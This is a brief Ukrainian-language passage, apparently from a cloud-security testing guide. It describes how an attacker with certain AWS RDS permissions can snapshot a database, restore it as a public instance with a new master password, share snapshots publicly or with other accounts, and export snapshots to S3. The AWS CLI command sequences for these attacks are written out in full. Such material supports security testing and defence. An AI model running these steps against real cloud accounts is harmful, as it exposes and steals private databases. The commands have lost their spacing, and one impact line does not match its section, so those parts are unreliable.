Якщо у зловмисника є достатньо дозволів, він може зробити БД доступною публічно, створивши знімок БД, а потім публічно доступну БД з цього знімка.
awsrdsdescribe-db-instances# Get DB identifierawsrdscreate-db-snapshot \--db-instance-identifier <db-id> \--db-snapshot-identifier cloudgoat# Get subnet groups & security groupsawsrdsdescribe-db-subnet-groupsawsec2describe-security-groupsawsrdsrestore-db-instance-from-db-snapshot \--db-instance-identifier "new-db-not-malicious" \--db-snapshot-identifier <scapshotId> \--db-subnet-group-name <dbsubnetgroup> \--publicly-accessible \--vpc-security-group-ids <ec2-securitygroup>awsrdsmodify-db-instance \--db-instance-identifier "new-db-not-malicious" \--master-user-password 'Llaody2f6.123' \--apply-immediately# Connect to the new DB after a few mins
Зловмисник з цими дозволами може створити знімок бази даних і зробити його публічно доступним. Потім він може просто створити власну базу даних з цього знімка.
Якщо у зловмисника немає дозволу rds:CreateDBSnapshot, він все одно може зробити інші створені знімки публічними.
# create snapshotawsrdscreate-db-snapshot--db-instance-identifier<db-instance-identifier>--db-snapshot-identifier<snapshot-name># Make it public/share with attackers accountaws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
Потенційний вплив: Видалення існуючих екземплярів RDS та можлива втрата даних.
rds:StartExportTask
TODO: Перевірити
Зловмисник з цим дозволом може експортувати знімок екземпляра RDS до відра S3. Якщо зловмисник має контроль над призначеним відром S3, він може потенційно отримати доступ до чутливих даних у експортованому знімку.